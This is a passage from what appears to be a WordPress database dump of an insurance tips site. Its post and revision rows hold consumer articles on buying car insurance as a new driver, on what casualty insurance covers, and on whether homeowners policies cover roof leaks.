tire.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Accident forgiveness:</strong> Some insurers offer an accident forgiveness endorsement that will prevent your premiums from rising after an accident. Keep in mind that not all accidents are covered and certain conditions must be met to qualify.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to get car insurance for new drivers</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The options can be endless when it comes to car insurance coverage. The abundance of choices can make the process of getting a car insurance policy feel daunting. Knowing what steps you should take to obtain your first car insurance policy may help. These include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Conduct thorough research.</strong> When choosing an auto insurance provider as a new driver, narrow the options by deciding your top priorities first, then consult reviews to compile a list of companies that offer those key factors to streamline decision-making and identify the best value based on your specific needs and budget. Conducting targeted research before getting quotes makes finding the ideal coverage more manageable.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Know what coverage you need.</strong> Minimum coverage car insurance is typically the cheapest, but having higher liability limits and more coverage, like comprehensive and collision, could better protect your finances. It can be helpful to know which type of coverage is right for you, and any optional coverage types you may want, before getting quotes. Full coverage, which includes comprehensive and collision coverage, is typically required by your lender if you lease or finance your car.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Have your personal and vehicle information on hand.</strong>&nbsp;Having your driver’s license number, vehicle make/model/VIN and personal info like your birthdate, address and Social Security number on hand streamlines the quote process. Insurers will need these specifics for all drivers listed on the policy to generate accurate premium estimates.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Get personalized car insurance quotes.</strong>&nbsp;Policies and prices for coverage may vary by company, so it’s often helpful to get quotes from multiple providers. Most large insurance companies offer quotes online, but you may also speak to an agent to get a personalized quote. This can help you find the best fit for your needs and budget.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Inquire about available discounts.</strong> Most insurance companies will offer various discount opportunities, such as bundling policies, good student, multi-car, airbags, usage-based and more. These discounts may help you save money on a new driver policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Compare options and purchase a policy.</strong> With multiple premium estimates in hand, carefully evaluate each policy’s rates, exclusions, endorsements and customer service reputation. Determine the ideal fit for your budget and protection needs, complete required paperwork, and pay to activate coverage so you can legally and safely hit the road.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/insurance/car/car-insurance-for-new-drivers/#how-to-get-car-insurance-for-new-drivers\">click here.</a></p>\n<!-- /wp:paragraph -->','How to Get Car Insurance for New Drivers','','inherit','closed','closed','','3925-revision-v1','','','2024-03-30 03:20:23','2024-03-30 03:20:23','',3925,'https://smartinsurance.tips/?p=3927',0,'revision','',0),(3928,1,'2024-03-30 03:25:05','2024-03-30 03:25:05','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3929,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-23-1024x1024.png\" alt=\"\" class=\"wp-image-3929\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">Casualty insurance is a type of insurance that covers you if you’re legally responsible for another person’s injuries or property damage, such as from a car accident or an accident in your home. Below, we take an in-depth look at what casualty insurance is, how it works, who files the claim, and whether it’s worth getting or increasing your coverage. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-2\">What Is Casualty Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-3\">Casualty insurance protects you when you’re liable for someone getting hurt or their belongings getting damaged. The circumstances in which you’re covered depend on the specifics of your policy. For instance, a car insurance policy might pay to repair a neighbor’s fence after you drove into it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-5\">You’ll often see casualty insurance lumped together with property insurance and referred to as “property and casualty insurance” or “P&amp;C insurance.” While the casualty portion shields you from the costs of injuries and damages to other people or their property, the property portion of P&amp;C insurance covers damages to your own belongings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>Casualty insurance doesn’t cover your own injuries or property damage, or those of other people listed in your policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-8\">If you own a company, business casualty insurance can protect you when a customer is injured by one of your products or services.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-10\">How Does Casualty Insurance Work?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">Casualty insurance is usually bundled into your insurance policy, so you pay for it when your insurance bill is due. Your policy and quotes may specify how much you pay for each coverage, making it easier to adjust limits to fit your budget and needs.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">When looking at your policy, you’ll typically find casualty insurance under coverages for others when you’re at fault. For homeowners policies, these coverages may show up as “personal liability,” “personal injury liability,” and “medical payments to others.” Your auto policy includes this type of insurance under “bodily injury liability” and “property damage liability.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-15\">Business owners can purchase casualty insurance coverages like workers’ compensation, general liability, and employer’s liability insurance (EPLI).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-17\">There are many scenarios where your casualty insurance would kick in to cover costs. For example, home insurance might pay for expenses and legal fees associated with:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-19\"><!-- wp:list-item -->\n<li><strong>Falls, trips, and slips</strong>: A guest trips on their feet while in your home and breaks a wrist.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Dog bites</strong>: Your dog breaks free during your morning walk and bites another dog.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Fallen trees</strong>: A windy day causes a branch from a tree on your property to break and put a hole in the neighbor’s roof.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-21\">Auto casualty insurance can come into play in a number of situations, such as when someone in another car is hurt in an accident you caused or if you accidentally hit a neighbor’s mailbox while making a U-turn.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-23\">How Do I File a Casualty Insurance Claim?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-24\">Each insurer handles the claim process differently. In general, the other party files the claim with your insurance if you’re at fault for the damage or injury. Home and auto liability claims don’t usually have a deductible, so your insurance covers all costs for approved claims up to your limits. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">If you’re the one who was hurt or had property damage, you’ll most likely work with the other person’s claim representative or insurance adjuster. Their insurer may pay your claim directly to you or another entity, such as a collision repair shop.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">Car insurance companies use police reports, photos, details gathered from you and the policyholder, and more to determine who is at fault and whether a liability payout is due. For any insurance claims involving injury, it’s crucial to gather as much evidence as possible to support your claim, such as immediate medical evaluations, photos and videos of what caused your injury, and witness statements.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">If the issue is with a homeowner and they have no-fault medical coverage, you may be able to submit bills directly to their insurance company without needing to file a claim first.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>After a car accident, it’s essential to contact your insurer, regardless of who was at fault. Your insurer can then work on your behalf to help you file a liability claim with the other insurer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-33\">How Much Casualty Insurance Should I Get?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">Liability limits are the maximum an insurer will pay for a claim. Standard homeowners policies typically provide $300,000 of personal liability for property damages and injuries and $1,000 to $5,000 for medical payments to others.<sup>1</sup>﻿ If your personal liability limits are enough to protect your assets in claims and lawsuits, then your insurance is likely sufficient. If not, consider raising your coverage to the highest level you can reasonably afford.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">It’s important to understand the distinction between liability coverage and medical payments to others. Liability takes care of medical costs if you’re deemed liable for someone else’s injury. Medical payments is a more limited form of coverage that pays regardless of fault (and only to guests you invite on your property, in the case of a homeowners policy).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-38\">Car insurance minimum liability limits are set by each state, though these amounts may not be enough to cover expenses in a serious accident. Like with homeowners insurance, consider purchasing as much liability coverage as you can afford.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note:</strong> Umbrella policies are sold separately and can cover liability claims in excess of your home and auto insurance policies. Costs depend on factors like your existing liability coverage and your risk profile. In general, a $1 million umbrella policy costs $150 to $300 per year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-41\">Do I Need Casualty Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-42\">Typically, the only casualty insurance you’re legally required to carry is bodily injury liability and property damage liability under your auto insurance policy. Many states also require personal injury protection, and amounts vary by state.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Insurance Information Institute. \"What Is Auto Insurance?\" There are no state-mandated liability requirements for home insurance policies, but standard home insurance policies typically come with some protection and your mortgage lender will have its own requirements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-44\">Regardless of whether the law requires it, having adequate casualty insurance financially shields you from paying out of pocket to cover costly legal fees, lawsuits, others’ medical expenses, and lost wages. Your state’s minimum liability limits for car insurance may also not be enough to fully cover costs after a serious accident. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0-3\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Casualty insurance pays for another person’s injuries and property damage when you’re found legally liable.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Insurers only pay up to your liability limits, so you’re responsible for costs beyond those amounts. Umbrella insurance can help pick up the tab for excess amounts. It’s purchased as a separate policy.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You’re only required to carry your state’s minimum liability limits on your auto policy, but consider getting as much home and auto casualty insurance as you can reasonably afford for greater financial protection.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/casualty-insurance-what-is-it-5094701\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is Casualty Insurance?','','publish','closed','closed','','what-is-casualty-insurance-2','','','2024-03-30 03:25:07','2024-03-30 03:25:07','',0,'https://smartinsurance.tips/?p=3928',0,'post','',0),(3929,1,'2024-03-30 03:22:21','2024-03-30 03:22:21','','Untitled-23','','inherit','closed','closed','','untitled-23-4','','','2024-03-30 03:22:21','2024-03-30 03:22:21','',3928,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-23.png',0,'attachment','image/png',0),(3930,1,'2024-03-30 03:25:05','2024-03-30 03:25:05','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3929,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-23-1024x1024.png\" alt=\"\" class=\"wp-image-3929\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">Casualty insurance is a type of insurance that covers you if you’re legally responsible for another person’s injuries or property damage, such as from a car accident or an accident in your home. Below, we take an in-depth look at what casualty insurance is, how it works, who files the claim, and whether it’s worth getting or increasing your coverage. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-2\">What Is Casualty Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-3\">Casualty insurance protects you when you’re liable for someone getting hurt or their belongings getting damaged. The circumstances in which you’re covered depend on the specifics of your policy. For instance, a car insurance policy might pay to repair a neighbor’s fence after you drove into it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-5\">You’ll often see casualty insurance lumped together with property insurance and referred to as “property and casualty insurance” or “P&amp;C insurance.” While the casualty portion shields you from the costs of injuries and damages to other people or their property, the property portion of P&amp;C insurance covers damages to your own belongings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>Casualty insurance doesn’t cover your own injuries or property damage, or those of other people listed in your policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-8\">If you own a company, business casualty insurance can protect you when a customer is injured by one of your products or services.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-10\">How Does Casualty Insurance Work?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">Casualty insurance is usually bundled into your insurance policy, so you pay for it when your insurance bill is due. Your policy and quotes may specify how much you pay for each coverage, making it easier to adjust limits to fit your budget and needs.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">When looking at your policy, you’ll typically find casualty insurance under coverages for others when you’re at fault. For homeowners policies, these coverages may show up as “personal liability,” “personal injury liability,” and “medical payments to others.” Your auto policy includes this type of insurance under “bodily injury liability” and “property damage liability.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-15\">Business owners can purchase casualty insurance coverages like workers’ compensation, general liability, and employer’s liability insurance (EPLI).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-17\">There are many scenarios where your casualty insurance would kick in to cover costs. For example, home insurance might pay for expenses and legal fees associated with:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-19\"><!-- wp:list-item -->\n<li><strong>Falls, trips, and slips</strong>: A guest trips on their feet while in your home and breaks a wrist.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Dog bites</strong>: Your dog breaks free during your morning walk and bites another dog.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Fallen trees</strong>: A windy day causes a branch from a tree on your property to break and put a hole in the neighbor’s roof.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-21\">Auto casualty insurance can come into play in a number of situations, such as when someone in another car is hurt in an accident you caused or if you accidentally hit a neighbor’s mailbox while making a U-turn.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-23\">How Do I File a Casualty Insurance Claim?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-24\">Each insurer handles the claim process differently. In general, the other party files the claim with your insurance if you’re at fault for the damage or injury. Home and auto liability claims don’t usually have a deductible, so your insurance covers all costs for approved claims up to your limits. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">If you’re the one who was hurt or had property damage, you’ll most likely work with the other person’s claim representative or insurance adjuster. Their insurer may pay your claim directly to you or another entity, such as a collision repair shop.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">Car insurance companies use police reports, photos, details gathered from you and the policyholder, and more to determine who is at fault and whether a liability payout is due. For any insurance claims involving injury, it’s crucial to gather as much evidence as possible to support your claim, such as immediate medical evaluations, photos and videos of what caused your injury, and witness statements.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">If the issue is with a homeowner and they have no-fault medical coverage, you may be able to submit bills directly to their insurance company without needing to file a claim first.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>After a car accident, it’s essential to contact your insurer, regardless of who was at fault. Your insurer can then work on your behalf to help you file a liability claim with the other insurer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-33\">How Much Casualty Insurance Should I Get?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">Liability limits are the maximum an insurer will pay for a claim. Standard homeowners policies typically provide $300,000 of personal liability for property damages and injuries and $1,000 to $5,000 for medical payments to others.<sup>1</sup>﻿ If your personal liability limits are enough to protect your assets in claims and lawsuits, then your insurance is likely sufficient. If not, consider raising your coverage to the highest level you can reasonably afford.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">It’s important to understand the distinction between liability coverage and medical payments to others. Liability takes care of medical costs if you’re deemed liable for someone else’s injury. Medical payments is a more limited form of coverage that pays regardless of fault (and only to guests you invite on your property, in the case of a homeowners policy).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-38\">Car insurance minimum liability limits are set by each state, though these amounts may not be enough to cover expenses in a serious accident. Like with homeowners insurance, consider purchasing as much liability coverage as you can afford.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note:</strong> Umbrella policies are sold separately and can cover liability claims in excess of your home and auto insurance policies. Costs depend on factors like your existing liability coverage and your risk profile. In general, a $1 million umbrella policy costs $150 to $300 per year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-41\">Do I Need Casualty Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-42\">Typically, the only casualty insurance you’re legally required to carry is bodily injury liability and property damage liability under your auto insurance policy. Many states also require personal injury protection, and amounts vary by state.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Insurance Information Institute. \"What Is Auto Insurance?\" There are no state-mandated liability requirements for home insurance policies, but standard home insurance policies typically come with some protection and your mortgage lender will have its own requirements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-44\">Regardless of whether the law requires it, having adequate casualty insurance financially shields you from paying out of pocket to cover costly legal fees, lawsuits, others’ medical expenses, and lost wages. Your state’s minimum liability limits for car insurance may also not be enough to fully cover costs after a serious accident. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0-3\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Casualty insurance pays for another person’s injuries and property damage when you’re found legally liable.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Insurers only pay up to your liability limits, so you’re responsible for costs beyond those amounts. Umbrella insurance can help pick up the tab for excess amounts. It’s purchased as a separate policy.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You’re only required to carry your state’s minimum liability limits on your auto policy, but consider getting as much home and auto casualty insurance as you can reasonably afford for greater financial protection.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/casualty-insurance-what-is-it-5094701\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is Casualty Insurance?','','inherit','closed','closed','','3928-revision-v1','','','2024-03-30 03:25:05','2024-03-30 03:25:05','',3928,'https://smartinsurance.tips/?p=3930',0,'revision','',0),(3931,1,'2024-03-30 03:33:20','2024-03-30 03:33:20','<!-- wp:paragraph -->\n<p>Learn How Your Policy Covers a Roof Leak.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3932,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-24-1024x1024.png\" alt=\"\" class=\"wp-image-3932\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">If you’re sitting in your home during a thunderstorm and you notice a stream of water trickling down the wall, chances are your roof has sprung a leak. Roof leaks can cause major damage to your home and personal belongings, so it’s important to understand if your home insurance covers the losses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">The most common forms of homeowners insurance typically cover damages to roofs caused by falling tree limbs, hail, and wind. But a standard home insurance policy might not cover all roof leaks. Learn which types of roof leaks your homeowners insurance covers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Most standard home insurance policies cover roof losses caused by storm damage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Homeowners insurance typically does not cover roof damage caused by gradual wear and tear or neglect.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Homes in some areas may need the additional protection of earthquake or flood insurance policies.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>In some coastal areas, home insurance policies do not cover hail and wind losses.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-5\">Homeowners Insurance May Cover Roof Leaks</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-6\">Oftentimes, a standard homeowners policy will cover damages caused by roof leaks, but it will depend on what type of home insurance policy you carry and what caused the roof leak. Most homeowners insurance policies will require you to complete the repairs before fully reimbursing you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note:</strong> Keep in mind that a home insurance policy doesn’t automatically pay up to the limit of the maximum it will cover. For instance, if shingles blow off your roof during a windstorm, your coverage may only pay to replace the missing shingles, not the entire roof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-9\">Dwelling Losses</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-10\">Homeowners have several different types of home insurance to choose from, each covering damage from perils in different ways. Perils are the cause of the damage, and they can include the weight of ice, sleet, or snow, explosions, fire, lightning, hail, falling objects, and windstorms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-12\">HO-3 and HO-2 policies are among the most common types of coverages accepted by mortgage companies. So if you have a mortgage, it’s likely that you have one of the following:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-14\"><!-- wp:list-item -->\n<li><strong>HO-3 policy:</strong>&nbsp;The most common type of policy, HO-3 policies protect your home from all perils unless they are specifically excluded. However, your possessions are protected only from perils that are named in the policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>HO-2 policy</strong>: This type of policy offers more limited dwelling coverage. Your dwelling and your possessions are only protected against damage from perils that are specifically named.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-16\">So, you can see why the cause of your roof leak plays a role in whether your particular homeowners insurance covers it. For example, if you have an HO-3 policy and a fallen tree limb damages your roof, you’ll have a valid claim unless it was specifically excluded. Or, if you have an HO-2 policy, and a windstorm damages your roof, causing it to leak, the insurer will cover the damage if it’s a named peril.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-18\">Personal Property Losses</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">Most homeowners policies will cover sudden water damage to personal property, such as furniture, unless it is specifically excluded, but only under certain conditions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>If a hailstorm damages your roof and incoming rain soaks your sofa, your home insurance will likely help pay to replace it. But if the sofa sustains damage due to a gradual leak, the insurance company may not pay the claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-22\">Unattached Structures Losses</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-23\">If an unattached structure, like a separate garage or shed, suffers roof damage, your policy’s other structures coverage may cover repair costs. Standard home insurance policies usually provide other structures coverage equal to a certain percentage, such as 10% of dwelling coverage, but they may not provide coverage if those structures are used for business purposes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-25\">So, if your policy provides $200,000 in dwelling coverage, it may provide $20,000 in other structures coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-27\">Losses Caused by Downed Trees</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">Coverage for losses caused by downed trees is typically provided by the policy of the homeowner with the damaged property, regardless of who owns the property with the tree.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">For instance, if a healthy tree in your yard damages your roof during a thunderstorm, you can file a claim against your homeowners dwelling coverage. And if your roof was damaged by your neighbor’s tree, you’ll likely also file a claim with your insurance, not your neighbor’s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note:</strong> Whether an insurer pays a claim for damages caused by a fallen tree often depends on the condition of the tree. Generally, carriers pay claims when they determine that a tree has fallen due to an act of nature and not someone’s fault.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">Homeowners are responsible for removing dead or diseased trees. So, if a dead tree in your yard falls on your roof, the insurer may deny a claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-35\">Undetectable Damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">At times, a roof may collapse due to undetectable damage. For example, a roof may sustain gradual damage caused by animals or insects, defective materials, faulty construction, or unseen decay. Generally, home insurance policies cover this type of roof damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-38\">When Homeowners Insurance Won’t Cover Roof Leaks</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-39\">Neglecting your home’s roof can lead to losses that your insurance company won’t cover. For example, rotting or termite-ravaged rafters can cause a roof to collapse, or crumbling chimney masonry can lead to a roof 